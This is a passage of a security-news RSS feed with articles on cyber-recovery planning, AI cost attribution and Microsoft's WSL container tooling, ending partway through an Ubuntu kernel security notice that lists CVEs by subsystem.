<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.</p>



<p class="wp-block-paragraph">Imagine this: A major global enterprise, a company most of us interact with indirectly every single day, wakes up to find its entire digital environment obliterated. Thousands of employees in dozens of offices and remote locations are suddenly offline. Customers are cut off, supply chains grind to a halt and regulators are notified with a chilling admission: “We have no idea when we’ll be back.”</p>



<p class="wp-block-paragraph">This wasn’t ransomware. There was no negotiation, no decryption key to buy, no easy way out. It was destruction — deliberate, coordinated and geopolitically motivated — not monetary.</p>



<p class="wp-block-paragraph">As a chief customer officer who’s worked with countless customers on cyberattack risks, my perspective hits a bit differently than a CISO or a CTO. I see the aftermath, not just the attack surface. I see the faces behind the tickets, the operations team locked out of their own systems, the support agent answering panicked calls at dawn. And I ask: How many organizations have actually stress-tested their response to this scenario — not a hypothetical, but this very real, lights-out event? Here’s what every leader needs to confront today:</p>



<h2 class="wp-block-heading">Recovery is not just a technical exercise</h2>



<p class="wp-block-paragraph">The first assumption to break during a real crisis is <a href="https://www.cio.com/article/4165019/your-cloud-strategy-is-incomplete-without-a-cyber-recovery-plan.html">the belief that recovery is purely technical</a>.</p>



<p class="wp-block-paragraph">Many organizations have done tabletop exercises and have a backup and recovery playbook, so they feel prepared. They can <a>point to</a> backup windows, retention schedules and immutability controls. The moment a true blackout happens, a different reality surfaces. The people who own the recovery steps either do not know each other, lack the authority to make decisions without supervisor approval or need guidance from offline systems.</p>



<p class="wp-block-paragraph">The reality is that technical infrastructure almost always holds up better than human infrastructure. Organizations have built their recovery strategy around the assumption that someone competent will be awake, available and empowered when a cyber event happens.</p>



<p class="wp-block-paragraph">Still, backups are only as good as their independence. Let’s be blunt: If your recovery infrastructure shares identity, authentication or network trust with your Microsoft tenant (such as Azure, Microsoft 365 or Teams), you don’t actually have a recovery plan; you have a false sense of one — and a liability. A <a href="https://www.veeam.com/company/press-release/veeam-report-reveals-a-market-wide-shift-from-recovery-confidence-to-proven-data-resilience-amid-ransomware-threats-and-ai-adoption.html">recent survey</a> found that while 90% of organizations express confidence in their ability to recover from a cyber incident, fewer than one in three ransomware victims fully recovered their data.</p>



<p class="wp-block-paragraph">True resilience means immutable, air-gapped backups, untouchable by the same compromise. Anything less is an illusion. I talk to customers about their recovery plans constantly. The customers who have rehearsed all scenarios sleep soundly. Those who haven’t? They’re rolling the dice.</p>



<h2 class="wp-block-heading">Most business continuity plans ignore ‘total blackout’</h2>



<p class="wp-block-paragraph">I’ve reviewed hundreds of business continuity plans. Almost all assume partial failures — a region, an application, a data center. But what if every system, in every country, goes dark simultaneously? That’s an entirely different playbook. If your team hasn’t run a drill for a global, simultaneous outage, you’re not prepared. The probability is low, but the cost of being unready is existential.</p>



<p class="wp-block-paragraph">Connected devices, OT systems, field hardware, partner integrations — they all plug into your enterprise network. When the core collapses, it’s not just IT at risk. It’s operational technology, physical safety systems and in regulated sectors, potentially human lives. Understanding and testing those interdependencies is non-negotiable.</p>



<p class="wp-block-paragraph">This is also where boards need to change the conversation. A <a href="https://www.diligent.com/resources/research/cybersecurity-audit">study found</a> that only 5% of companies have cybersecurity experts on their board of directors. Recovery time objectives (RTOs) should not be buried in technical appendices. It’s all jargon to boards. That makes translation essential. RTOs must be explained in terms of business impact. “We can recover in four hours” is a technical statement. “Every hour of downtime costs us $2.3M and creates regulatory exposure in three jurisdictions” is a board statement.</p>



<p class="wp-block-paragraph">That is the level of clarity leaders need.</p>



<p class="wp-block-paragraph">The most prepared organizations do not wait for an incident to educate the board. They bring the conversation forward proactively. They frame recovery in business terms: revenue, regulatory standing, customer trust and brand reputation.</p>



<p class="wp-block-paragraph">The most effective framing is often simple. Show the most critical systems. Show what happens if each one is down for one hour, four hours, 24 hours and 72 hours. Show the current recovery capability against each and then show the gap.</p>



<p class="wp-block-paragraph">If your board is not demanding real answers, your business continuity strategy is likely underfunded and your business is exposed. This is a risk conversation worth forcing because the consequences do not stay inside IT. They can show up in customer churn or missed revenue and ruin an organization’s reputation.</p>



<h2 class="wp-block-heading">Threat intelligence must be actionable, not archived</h2>



<p class="wp-block-paragraph">Geopolitical attacks, hacktivist campaigns and nation-state targeting aren’t abstract threats. They are active risks, and that intelligence cannot languish in the security team’s inbox. Executive leadership must be looped in — and immediately — so gaps can be closed before they’re exploited. Too often, intelligence enters the security operations function and never reaches the teams responsible for recovery infrastructure or executive decision-making.</p>



<p class="wp-block-paragraph">If a threat actor is targeting a specific class of backup agents, the team responsible for those agents needs to know now, not two weeks from now. If intelligence suggests destructive activity against a sector, recovery owners need to validate isolation, access paths and restoration procedures immediately. If geopolitical tension increases the likelihood of targeting, executive leadership needs to understand what exposure exists and what actions are being taken. The organizations that survive aren’t just the best at incident response. They’re the ones who anticipated, rehearsed and invested <em>before</em> the attack.</p>



<p class="wp-block-paragraph">Part of investing in a recovery strategy requires closing the loop between signal and action. The most prepared organizations have already mapped their critical recovery dependencies to specific threat categories. When intelligence touches one of those categories, there is a named owner and a clear set of actions. No guessing or forwarding emails into the void is needed because the distance between the warning and the employees’ ability to do something is shortened.</p>



<p class="wp-block-paragraph">Looking ahead, the conversation will continue to evolve beyond traditional cyber response. Because in an AI-enabled enterprise, the new question is whether the data within those systems can still be trusted. When AI systems make decisions based on enterprise data, the attack surface becomes the data’s accuracy. A threat actor who quietly corrupts a dataset over 90 days before a recovery event has done more damage than just downtime. They can poison the inputs driving decisions across the business.</p>



<p class="wp-block-paragraph">Regardless of how AI will change threat intelligence and cyber response, these principles remain the same. Know your problem, whether structural or technological. Ensure your human infrastructure keeps pace with your technical infrastructure, with clear cross-functional ownership and the tools and knowledge to act autonomously. Communicate with your boards often — and correctly.</p>



<p class="wp-block-paragraph">Let’s not wait for the next headline to ask, “Are we ready?” Have those conversations <em>now</em>. Test your assumptions. Close your gaps. Because in today’s threat landscape, resilience isn’t IT’s job — it’s everyone’s mandate.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Determining the ROI of AI requires data that most companies lack]]></title>
<description><![CDATA[Leadership wants to scale AI. Budgets are tripling. Adoption is up.



Then the CFO asks the question every board now asks: which of these initiatives is actually profitable?



Most organizations cannot answer that question, not because they lack visibility into cost, but because the cost data t...]]></description>
<link>https://tsecurity.de/de/3688477/ai-nachrichten/determining-the-roi-of-ai-requires-data-that-most-companies-lack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688477/ai-nachrichten/determining-the-roi-of-ai-requires-data-that-most-companies-lack/</guid>
<pubDate>Thu, 23 Jul 2026 11:07:22 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Leadership wants to scale AI. Budgets are tripling. Adoption is up.</p>



<p class="wp-block-paragraph">Then the CFO asks the question every board now asks: which of these initiatives is actually profitable?</p>



<p class="wp-block-paragraph">Most organizations cannot answer that question, not because they lack visibility into cost, but because the cost data they have was never designed to produce that answer.</p>



<p class="wp-block-paragraph">Applying lessons learned from <a href="https://www.infoworld.com/article/4147766/cloud-at-20-cost-complexity-and-control.html" data-type="link" data-id="https://www.infoworld.com/article/4147766/cloud-at-20-cost-complexity-and-control.html">managing cloud spend</a> won’t be a fix for the AI and ROI quandary. True, cloud taught a generation of CFOs that billing without business context is noise. So to get <a href="https://www.infoworld.com/article/4061122/cloud-computing-has-an-roi-problem.html" data-type="link" data-id="https://www.infoworld.com/article/4061122/cloud-computing-has-an-roi-problem.html">cloud ROI</a>, they stitched two data sources together: cost data plus business data. AWS reveals which account, which region, which tag, which resource. Merge in customer and product mappings on top and the ROI of the cloud spend comes into focus.</p>



<p class="wp-block-paragraph">But AI is harder. It requires three data sources: cost, business, and telemetry—the automatic collection of data from disparate sources that helps to clarify the whole picture of what happened and why. An executive or engineering lead can have AI invoices and customer revenue. But they have no way to connect them to business value. The token count on the OpenAI invoice does not specify which customer triggered which call, which feature it served, or whether the prompt produced a business outcome. That data does not exist in the provider’s billing.</p>



<h2 class="wp-block-heading">AI providers won’t fix this problem</h2>



<p class="wp-block-paragraph">The situation is not likely to change anytime soon because AI providers are not in the business of attributing an enterprise’s costs to that enterprise’s customers. Instead, AI providers are in the business of selling tokens. The granularity they expose is the granularity their billing systems require, not the granularity a CFO requires.</p>



<p class="wp-block-paragraph">Not convinced? Compare what AWS gives you to what an AI provider gives you.</p>



<p class="wp-block-paragraph">AWS billing exposes resource IDs, account hierarchies, region, SKU, tag metadata, usage by the minute. Every dollar can be attributed to a workload, a team, a customer segment if it was tagged correctly. The data is rich enough that mature FinOps teams built unit economics on top of it years ago.</p>



<p class="wp-block-paragraph">An AI provider invoice gives you tokens consumed by model, with optional grouping by API key. That is the resolution. No request-level attribution. No customer ID. No feature mapping. No prompt outcome. No retry identification. Multi-step agent workflows collapse into a token count. Imagine a large bank receives a multi-million dollar AI invoice each month. But it has no visibility into what parts of the business were responsible for what parts of the cost so cannot allocate them.</p>



<p class="wp-block-paragraph">If an enterprise wants to know what AI cost drove which customer or feature, it has to capture that data itself, inside an application, before the call leaves it. </p>



<h2 class="wp-block-heading">Three required sources</h2>



<p class="wp-block-paragraph">Building AI ROI measurement requires three data sources, stitched together in a single model.</p>



<ol class="wp-block-list">
<li><strong>Cost data, normalized across providers.</strong> Every AI provider delivers cost differently. OpenAI invoices in one taxonomy, Anthropic in another, fine-tuning vendors and inference platforms each in their own. Cloud GPU costs sit in AWS or Azure billing. Vector database costs land in Pinecone or Snowflake invoices. None interoperate by default. Normalization is necessary but not sufficient. It will put all your AI costs in one schema. It does not tell you what they produced.</li>



<li><strong>Application-layer telemetry. </strong>This is the source most organizations are missing, and the one that makes AI ROI structurally different from cloud ROI. It requires instrumenting AI calls inside your application across six categories: request-level tracing tied to a customer or session ID; feature attribution tied to the product surface that triggered the call; agent-step capture for multi-step workflows; retry and fallback identification so recovery costs don’t get attributed to primary calls; model selection logging that records which model was chosen and why; and outcome capture that ties each call to whether it produced business value. None of this data exists in the provider’s billing. All of it has to be captured at the moment the call is made and stored in a system that can be stitched to the cost data.</li>



<li><strong>Business data. </strong>Revenue, customer segments, product hierarchies, and feature usage. The same business data already feeding your CRM and analytics stack, mapped to the customers and features the telemetry layer attributes calls to.</li>
</ol>



<p class="wp-block-paragraph">Stitched together, the three sources produce the unit economics every AI investment decision now requires: cost per customer interaction, margin per feature, profitability per agent workflow, ROI per model choice. None of these can be calculated from billing data alone. None can be calculated from telemetry alone. They require all three sources, modeled together in a way that maps cost to outcome.</p>



<h2 class="wp-block-heading">Why agentic AI makes this urgent</h2>



<p class="wp-block-paragraph">Single-call inference is the easy case. One request, one cost, one customer, one outcome.</p>



<p class="wp-block-paragraph">Agentic workflows are different. An agent decomposes a task into multiple steps. Each step calls a model. Some steps fall back to a different model when the first fails. Some steps retry on a poor result. Some steps invoke external tools that themselves cost money. A single user request can produce dozens of inference calls across multiple providers, with the cost compounding in ways the provider invoice cannot disaggregate.</p>



<p class="wp-block-paragraph">If telemetry does not capture agent-step granularity, no one will know which steps are profitable. Aggregate costs will show up three weeks later in the invoice. By then, the workflow has been running at scale, customers are onboarded, and unprofitable paths have been retried thousands of times.</p>



<p class="wp-block-paragraph">When agents make the calls, the volume of cost-generating events without business context attached grows by an order of magnitude. The window for instrumenting this before it becomes unmanageable is closing.</p>



<h2 class="wp-block-heading">What changes when the three sources come together</h2>



<p class="wp-block-paragraph">Once the three sources are stitched together, the AI investment conversation changes.</p>



<p class="wp-block-paragraph">Five different ways to build the same AI capability stop looking equivalent. They converge on adoption metrics and diverge by 10x on cost. The team picks the approach that delivers a similar business outcome at one-fifth the cost, because the team can finally see the difference. Product teams design features with margin awareness from the architecture phase, not from the post-launch budget review. Engineering teams choose model architectures with cost-per-outcome data alongside latency and quality. Leadership evaluates AI initiatives the way they evaluate any other capital allocation: on unit economics, not on the engagement chart. Aggregated invoices track the cost per customer interaction. Engagement metrics reveal margin per feature. Gut-instinct model selection is checked against real cost-per-outcome model selection results. </p>



<p class="wp-block-paragraph">Within seconds, everyone can see which AI features are profitable, which should scale, and which should be killed. This is the insight everyone is looking for and companies that achieve it will optimize the benefits of AI.</p>



<h2 class="wp-block-heading">The build trap</h2>



<p class="wp-block-paragraph">AI costs are compounding now. The board is not waiting 18 months for an internal project to reach production.</p>



<p class="wp-block-paragraph">The temptation to build it anyway has never been sharper. AI coding tools have changed what a small engineering team can ship in a quarter. The instrumentation layer looks tractable. The cost normalization looks like a weekend project. The semantic model feels like something a senior engineer could draft over a sprint.</p>



<p class="wp-block-paragraph">It is a trap. Three reasons.</p>



<p class="wp-block-paragraph">Volume is the first. A production AI footprint generates millions of telemetry events per hour, and that volume scales with agentic adoption. Real-time ingestion, correlation, and attribution at that scale is not the same problem as <a href="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html" data-type="link" data-id="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html">vibe coding</a> a prototype in an afternoon. It is a permanent operational system that has to be right every minute of every day.</p>



<p class="wp-block-paragraph">The vendor landscape is the second. Cost data arrives in delayed billing windows from providers with non-interoperable schemas. Schemas change without notice. New AI providers enter the landscape monthly, each with its own taxonomy and metering. The system is not built once. It is maintained against a moving target that moves faster than most internal release cycles.</p>



<p class="wp-block-paragraph">The third is what the first two add up to: this is business-critical infrastructure. The CFO and the board are going to make capital allocation decisions on the data this system produces. When schema drift goes unnoticed for two weeks, when an agent telemetry stream stops correlating to a vendor that quietly changed its billing API, the cost of being wrong is not a sprint of cleanup. It is a quarter of misallocated capital.</p>



<p class="wp-block-paragraph">The build-vs.-buy question for engineering leaders has changed. It’s not “can we build this?” The honest answer is yes. The real question is whether the marginal hour of your strongest engineers is best spent stitching cost data to telemetry to business outcomes, or building the AI products that produce the revenue the cost data is measuring.</p>



<p class="wp-block-paragraph">The capability is reproducible in weeks. The choice is whether to spend the next 18 months building it, or the next 18 months acting on it.</p>



<p class="wp-block-paragraph"><em>—</em></p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/blogs/new-tech-forum"><strong><em>New Tech Forum</em></strong></a><em><strong> provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all </strong></em><em><strong>inquiries to </strong></em><a href="mailto:doug_dineley@foundryco.com"><strong><em>doug_dineley@foundryco.com</em></strong></a><em><strong>.</strong></em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[WSL container: A quiet revolution for Windows development]]></title>
<description><![CDATA[Running containers on Windows has never been as easy as it should be. While there are versions of Docker Desktop and Podman that work with both the Windows Subsystem for Linux (WSL) and Hyper-V, I’ve found both overly complex and unstable. Where they have worked, it’s turned out that Hyper-V has ...]]></description>
<link>https://tsecurity.de/de/3688476/ai-nachrichten/wsl-container-a-quiet-revolution-for-windows-development/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688476/ai-nachrichten/wsl-container-a-quiet-revolution-for-windows-development/</guid>
<pubDate>Thu, 23 Jul 2026 11:07:20 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Running containers on Windows has never been as easy as it should be. While there are versions of <a href="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html" data-type="link" data-id="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html">Docker Desktop</a> and <a href="https://www.infoworld.com/article/2335683/what-is-podman-and-will-it-replace-docker.html" data-type="link" data-id="https://www.infoworld.com/article/2335683/what-is-podman-and-will-it-replace-docker.html">Podman</a> that work with both the Windows Subsystem for Linux (WSL) and Hyper-V, I’ve found both overly complex and unstable. Where they have worked, it’s turned out that Hyper-V has been the best option, using a Linux virtual machine to host my containers. That all adds up to overhead, layers of virtual infrastructure that get in the way of work and that need to be rebuilt every time I restart my PC.</p>



<p class="wp-block-paragraph">Part of the problem is WSL. It’s a good tool, but WSL2’s file-system integration is slow, and you’re left having to work with code using Visual Studio Code’s remote integration, which means putting a <a href="https://code.visualstudio.com/docs/remote/vscode-server" data-type="link" data-id="https://code.visualstudio.com/docs/remote/vscode-server">VS Code Server</a> in every container you’re building and testing. If you’re working with <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html" data-type="link" data-id="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html">Kubernetes</a>, that’s even more complexity that needs to be managed, dragging you away from code.</p>



<p class="wp-block-paragraph">I ended up running most of my container testing and development from a separate machine, a Linux server running containerd. But though it worked (and had all the resources of workstation-class device), it wasn’t portable, and for some reason I’ve yet to uncover, Ubuntu’s remote desktop access doesn’t work for me.</p>



<p class="wp-block-paragraph">So, it was good to see Microsoft make several announcements around WSL at <a href="https://news.microsoft.com/build-2026/">Build 2026</a> as part of <a href="https://www.infoworld.com/article/4188967/making-windows-a-developer-platform-again.html">a push to make Windows a developer platform again</a>. The first, an improved WSL3, is still some way away, but the second, <a href="https://devblogs.microsoft.com/commandline/wsl-container-is-now-available-for-public-preview/">WSL-native container support</a>, shipped at the end of June. It is already seeing community-driven development of Docker Desktop-like tooling to help monitor and manage your containers.</p>



<p class="wp-block-paragraph">Delivering a WSL-based container platform fits in with the other developer-focused Windows announcements at Build. Making Windows behave more like Linux is Microsoft responding to developer needs, given that more than 50% of servers on Azure run a Linux distribution. Linux is the basis of cloud-native infrastructure, so developers need to be able to build on it wherever they are.</p>



<h2 class="wp-block-heading">Getting started with WSL container</h2>



<p class="wp-block-paragraph">WSL container provides a new CLI that works in parallel to the familiar WSL, with commands to support the entire container life cycle, from creation to shut down. All you need to do to get started is upgrade your WSL installation to the current pre-release build (at the time of writing this was 2.9.3). Simply open an administrator PowerShell terminal and enter <code>wsl --update --pre-release</code>.</p>



<p class="wp-block-paragraph">This downloads and installs the latest WSL release. Once you’ve closed and re-opened your terminal (to ensure that you’ve updated its context) you can check that WSLC has installed by entering <code>wslc</code>, which should <a href="https://learn.microsoft.com/en-us/windows/wsl/tutorials/wsl-containers" data-type="link" data-id="https://learn.microsoft.com/en-us/windows/wsl/tutorials/wsl-containers">list the available commands</a>. The new CLI is aliased to WSL container, if you prefer to keep your container work separate from WSL (and avoid typos that might accidentally affect your WSL installations).</p>



<p class="wp-block-paragraph">Under the hood Microsoft is using WSL container to trial new integration points for Linux in Windows. One key change is the use of a new file system that significantly speeds up access to Windows from inside a container. Another improvement gives WSL container a new networking mode that relays networking connections directly through the Windows network stack, ensuring it has access to the same resources and security as Windows.</p>



<h2 class="wp-block-heading">Calling Linux containers from Windows applications</h2>



<p class="wp-block-paragraph">Things get more interesting when you start to use the <a href="https://wsl.dev/api-reference/">WSL container API</a> from inside your Windows code. Here you can include calls to Linux containers inside your desktop applications, taking advantage of existing services, building and deploying containers from inside your CI/CD pipeline. Using the new file system and networking stack helps reduce the friction that comes with crossing the boundaries between the two platforms.</p>



<p class="wp-block-paragraph">The WSL container API is available as a NuGet package, with support for C, C#, and C++. It allows your code to start and stop containers, and interact directly with them, sending command-line calls and reading back responses. Where things get interesting is being able to launch a containerized service from your code, exposing its REST or gRPC APIs on a local network port. Microsoft has provided <a href="https://github.com/microsoft/WSL/tree/master/doc/samples">sample code</a> to show you what’s possible at this early stage.</p>



<p class="wp-block-paragraph">Microsoft is doing something revolutionary here. It’s taking the cloud-native, service-driven model and bringing it into Windows and using it to bridge decades of divergent development. You no longer have to rewrite a service that works on Linux to run in Windows; all you need to do is containerize the service and launch it from the WSL container API. When you’re done, the API will tidy up after you, shutting down the container and reclaiming the memory it used.</p>



<p class="wp-block-paragraph">It’s important to remember that this is only the first public preview of a rapidly developing platform. There are many opportunities here to, say, build on the syscall translation layer developed for WSL1 to produce a native Windows-to-Linux application integration stack that removes the overhead of using web-based service calls. It will be interesting to see what develops, but this first release is very interesting indeed.</p>



<h2 class="wp-block-heading">Manage Linux containers from Windows</h2>



<p class="wp-block-paragraph">If you want a Docker Desktop-like experience for building and testing containers on Windows developer hardware, you may not have long to wait. WSL container’s underlying API is already being used to build tools that manage and monitor containers for you. One such tool is the <a href="https://github.com/mhackermsft/wslcontainerdesktop" data-type="link" data-id="https://github.com/mhackermsft/wslcontainerdesktop">WSL Container Desktop</a>, under development on GitHub. While there aren’t any release builds yet, it’s easy enough to compile and get running by cloning the source repository and building using the .NET CLI. You do need to have the <a href="https://github.com/microsoft/windowsappsdk" data-type="link" data-id="https://github.com/microsoft/windowsappsdk">Windows App SDK</a> installed, and some features require access to the Azure CLI.</p>



<p class="wp-block-paragraph">WSL Container Desktop is built in C#, with a WinUI front end. It’s currently only verified for use on x64, though I was able to compile and run it on an Arm64 PC and use it to test and run containers. Once running, it gives you a well-designed front end for your WSL-hosted containers, showing what’s running and what resources they are using. You can link WSL Container Desktop to container registries, like Docker’s and Azure’s, so you can quickly pull base containers and then use the WSL container environment to add your own code and customizations.</p>



<p class="wp-block-paragraph">Your main interaction point is the WSL Container Desktop dashboard, which shows what containers are running and their current resource usage. Elements are displayed in cards, taking a cue from Windows’ own user interface and especially from its Settings app. From the dashboard, you can drill down into the available containers, with quick start, stop, and reload options, as well as an extended memory that includes the ability to open a web browser to the appropriate port. I tested this with a container that included an entire KDE webtop, giving me a Linux distro running in a container in my browser.</p>



<p class="wp-block-paragraph">Other options include a details view that displays current logs and provides tools for inspecting the state of a container. This is the type of tool that comes in useful when debugging and testing container applications, as it can provide insights that the WSL container CLI doesn’t offer. Another option helps you clean up after you’ve downloaded an image and don’t need it anymore, with analytics that show the largest images and images you haven’t used for some time. On top of its tooling for working with WSL containers, WSL Container Desktop provides a basic settings tool that helps you configure its look and feel, as well as how it integrates with Windows.</p>



<h2 class="wp-block-heading">Run Kubernetes inside Windows for cloud-native development</h2>



<p class="wp-block-paragraph">One of the more useful features of WSL Container Desktop is the ability to quickly stand up a <a href="https://k3s.io/" data-type="link" data-id="https://k3s.io/">K3s</a> Kubernetes instance in WSL that can be used to host WSL containers, providing a local environment to build and test cloud-native applications wherever you might be. The K3s tooling offers a similar experience to the Kubernetes project’s own <a href="https://www.infoworld.com/article/3964051/headlamp-a-multicluster-kubernetes-user-interface.html">Headlamp UI</a>, making it easy to go between your development environment and a production Kubernetes cluster.</p>



<p class="wp-block-paragraph">It’s fair to describe WSL container as one of those Windows features you didn’t think you needed, but now it’s here you can’t live without it. WSL container simplifies building a container development tool chain in Windows, and at the same time allows you to think about a new generation of hybrid applications that take advantage of decades of development in both Windows and Linux.</p>



<p class="wp-block-paragraph">The result is something that was unimaginable a few years ago: dropping a Linux container into the middle of a Windows application and treating it as another local service. As the WSL container platform evolves, you should expect to see more ways of bringing Linux and Windows together, using containers to deliver a hybrid platform that gives us the best of both worlds at long last.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8597-1: Linux kernel (IBM) vulnerabilities]]></title>
<description><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose...]]></description>
<link>https://tsecurity.de/de/3688420/unix-server/usn-8597-1-linux-kernel-ibm-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688420/unix-server/usn-8597-1-linux-kernel-ibm-vulnerabilities/</guid>
<pubDate>Thu, 23 Jul 2026 10:46:09 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose sensitive information (kernel memory). (CVE-2023-45896)

It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - PowerPC architecture;
  - S390 architecture;
  - x86 architecture;
  - Cryptographic API;
  - ACPI drivers;
  - ATM drivers;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - RNBD block device driver;
  - Bluetooth drivers;
  - Character device driver;
  - TPM device driver;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - DMA engine subsystem;
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVME drivers;
  - PCI subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Power supply drivers;
  - RapidIO drivers;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - SCSI subsystem;
  - Freescale SoC drivers;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Framebuffer layer;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - JFS file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - SMB network file system;
  - SquashFS file system;
  - XFS file system;
  - Audit subsystem;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - CPU frequency scaling framework;
  - Memory Management;
  - KVM subsystem;
  - Memory management;
  - Network traffic control;
  - Netfilter;
  - IP tunnels definitions;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - Kernel module support;
  - Scheduler infrastructure;
  - Cryptographic library;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - IPv4 networking;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - MAC80211 subsystem;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - ALSA framework;
  - FireWire sound drivers;
  - Creative Sound Blaster X-Fi driver;
  - SoC audio core drivers;
  - USB sound devices;
(CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116,
CVE-2023-52682, CVE-2023-52737, CVE-2023-53545, CVE-2023-53629,
CVE-2024-27389, CVE-2024-35865, CVE-2024-36898, CVE-2024-36922,
CVE-2024-41079, CVE-2024-46715, CVE-2024-46770, CVE-2024-47809,
CVE-2024-50012, CVE-2024-53221, CVE-2024-56557, CVE-2024-56584,
CVE-2024-56657, CVE-2024-56719, CVE-2024-56727, CVE-2025-21712,
CVE-2025-22107, CVE-2025-23141, CVE-2025-38006, CVE-2025-38105,
